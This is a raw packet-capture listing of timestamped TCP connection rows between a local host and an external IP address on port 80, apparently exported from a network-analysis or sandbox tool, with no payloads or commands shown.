Nov 20, 2024 12:57:55.731873035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731884956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731884956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.731903076 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.731920004 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732419014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732429981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732445002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732450008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732456923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732475996 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732500076 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732687950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732697964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732712984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732721090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732723951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732741117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732744932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732752085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732762098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732772112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732773066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732783079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732793093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732800007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732803106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732815027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732821941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732825994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732836008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732839108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732846975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732856035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732867002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732868910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732877016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732889891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732897043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732899904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.732919931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.732935905 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733684063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733695030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733704090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733715057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733716965 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733725071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733736038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733741045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733748913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733758926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733769894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733781099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733782053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733792067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733803034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733804941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733813047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733824015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733830929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733835936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733843088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733850002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.733860016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.733886957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.816730022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816750050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816761971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816787958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816797972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816808939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816818953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816865921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.816912889 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.816917896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816930056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.816951990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.816977024 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817035913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817047119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817058086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817070961 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817094088 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817220926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817231894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817241907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817250967 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817277908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817348957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817358971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817368984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817378998 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817379951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817392111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817408085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817435980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817583084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817593098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817604065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817611933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817615032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817627907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817637920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817639112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817662954 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817677975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817831039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817842007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817852974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817861080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817863941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.817888021 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.817913055 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818063974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818073988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818084955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818094015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818094969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818109035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818118095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818120003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818133116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818145990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818162918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818396091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818406105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818418026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818428040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818428040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818439960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818449974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818454981 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818461895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818480015 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818497896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818669081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818679094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818690062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818698883 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818701029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818723917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818746090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818803072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818814993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818824053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818830967 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818835020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818845987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818856955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818856955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818870068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818881035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818886995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818892002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818902969 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.818903923 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818922043 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.818943024 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819401026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819410086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819421053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819431067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819432020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819444895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819457054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819461107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819469929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819482088 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819484949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819502115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819525003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819685936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819699049 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819709063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819716930 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819720030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819741964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819765091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819777012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819789886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819799900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819812059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819817066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819823027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819829941 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819833994 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819844961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819854975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819855928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.819878101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.819892883 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820425034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820441961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820451975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820455074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820462942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820472956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820482016 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820483923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820494890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820506096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820508003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820517063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820523977 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820529938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820540905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820549011 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820549965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820563078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820574045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820579052 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820585012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820595026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820596933 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820605993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820616961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820624113 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820628881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820641041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.820647955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.820664883 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821372032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821383953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821393013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821403027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821413040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821423054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821423054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821436882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821440935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821454048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821458101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821465015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821475029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821482897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821486950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821497917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821506977 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821507931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821520090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821528912 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821532965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821547031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821563959 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821907997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821918964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821929932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821938992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.821949005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.821976900 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904469013 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904498100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904512882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904531956 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904557943 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904563904 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904576063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904588938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904596090 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904623985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904689074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904700041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904711008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904727936 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904743910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904836893 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904848099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904858112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904870987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904875994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904884100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904895067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.904905081 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.904923916 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905126095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905138016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905148029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905158997 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905169010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905170918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905181885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905191898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905193090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905204058 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905210972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905232906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905257940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905524015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905539036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905550957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905563116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905575991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905580997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905600071 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905612946 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905613899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905627966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905642033 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905642033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905667067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905680895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.905939102 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905950069 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905960083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905971050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905985117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.905992985 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906018019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906039953 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906202078 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906213045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906219959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906225920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906235933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906244993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906253099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906277895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906311035 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906465054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906477928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906492949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906503916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906513929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906548023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906575918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906589031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906598091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906609058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906619072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906620026 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906631947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906644106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906646013 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906656027 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906656981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906670094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.906692028 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.906716108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.907176971 CET	80	49756	185.215.113.206	192.168.2.4
